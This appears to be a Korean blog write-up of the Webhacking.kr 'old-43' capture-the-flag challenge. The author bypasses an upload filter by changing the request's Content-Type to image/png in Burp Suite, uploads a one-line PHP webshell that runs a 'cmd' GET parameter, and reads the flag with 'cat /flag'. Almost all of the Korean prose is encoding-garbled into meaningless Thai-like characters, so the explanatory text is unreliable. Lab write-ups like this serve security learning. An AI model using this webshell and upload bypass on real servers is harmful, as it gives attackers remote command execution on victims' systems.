-
Webhacking.kr :: old-43๋ฒSECURITY/Webhacking 2021. 2. 17. 17:37
์ฌ๊ธฐ์ ๊ทธ๋ฅ ์ ์ถ์ ๋๋ฌ๋ณด๋ฉด
type not detected ๊ฐ ๋ฌ๋ค.
๊ฐ๋จํ tmp.txt ํ์ผ์ ์ ์ถํ๋ฉด,
Type ์ด ์ณ์ง ์๋ค๊ณ ํ๋ค.
๊ทธ๋์ ์ด๋ฏธ์ง๋ฅผ ํ๋ ์ฌ๋ ธ๋๋ Done! ์ด๋ผ๊ณ ๋ฌ๋ค.
webshell ์ ์ ๋ก๋ ํ๋ผ๊ณ ๋์ด์์ง๋ง, txt ๊ธฐ๋ฐ์ ํ์ผ๋ค์ ํํฐ๋งํ๋ ๊ฒ ๊ฐ๋ค. (php ๋ ๋ฌผ๋ก ์๋จ)
ํ๋ก์๋ฅผ ์จ์ php ๋ฅผ ์ ๋ก๋ํ๋, img ๋ผ๊ณ ์ธ์ํ๋๋ก ๋ง๋ค์.
(Burp Suite ์ฌ์ฉ๋ฒ ์ฐธ์กฐ - 2021/02/17 - [SECURITY/Webhacking] - Burp Suite ์ค์น ๋ฐ ์ฌ์ฉ - Windows 64 bit)
์ ๋ก๋ํ php ์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
<?php system($_GET[cmd]); ?>
cmd ๋ฅผ GET ์ผ๋ก ๊ฐ์ ธ์์ ์คํ์ํค๋ ์ฝ๋์ด๋ค.
์ฌ๊ธฐ์ cmd ์ cat /flag ๋ฅผ ํ๋ฉด ์น์์์ cat /flag ๋ฅผ ํตํด flag ๊ฐ์ ๋ณด์ฌ์ค ๊ฒ์ด๋ค.
์ ์ถ์ ๋๋ฅธ ๋ค, ์ ์ถ์ ๋ํ Request ๋ฅผ ํ๋ก์๋ก ๋ณ์กฐํ๋ค.
Content-Type ์ image/png ๋ผ๊ณ ํ๊ณ , ์ํ๋ php ์ฝ๋๋ฅผ ๋ฃ์ด์ค๋ค.
a.php ์ด์ง๋ง ์ ์ ๋ก๋๊ฐ ๋์๊ณ , (Type ์ ์์์ผ๋)
์ ./upload/a.php ๋ฅผ ๋๋ฌ๋ณด๋ฉด ์ ๋ก๋ํ ํ์ผ์ ๋ณผ ์ ์๋ค.
๊ทธ๋ฅ ๋๋ฌ๋ณด๋ฉด ์๋ฌด๊ฒ๋ ์๋จ์ง๋ง, (cmd ์ ์๋ฌด๋ฐ ๋ด์ฉ์ด ์์ด์)
url ์ cmd=cat /flag ๋ผ๊ณ ํ๋ฉด, FLAG ๊ฐ์ด ๋์จ๋ค.
์ด๊ฑธ Auth ์ ๋ฃ์ด์ฃผ๋ฉด ๋!
+ ๋ฒ์ธ
FLAG ๊ฐ base64 ๋ก ์ธ์ฝ๋ฉ๋ ๊ฑฐ๋ผ ๊ถ๊ธํด์ ๋์ฝ๋ฉ ํด๋ดค๋๋ ๋ค์๊ณผ ๊ฐ์ด ๋์๋ค.
Auth ์๋ ๊ทธ๋ฅ base64 ๋ก ์ธ์ฝ๋ฉ๋ ๊ฒ ๊ทธ๋๋ก ๋ฃ์ด์ฃผ๋ฉด ๋์ง๋ง ์ฌ๋ฐ๋ ์ฅ์น๋ฅผ ํด๋จ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.
Ref.
[1] webshell code1018.tistory.com/96
.
'SECURITY > Webhacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Proxy ํ๋ก์๋? (0) 2021.02.17 Webhacking.kr :: old-41๋ฒ (0) 2021.02.17 Burp Suite ์ค์น ๋ฐ ์ฌ์ฉ - Windows 64 bit (0) 2021.02.17 Webhacking.kr :: old-12๋ฒ (0) 2021.02.16 Webhacking.kr :: old-59๋ฒ (0) 2021.02.16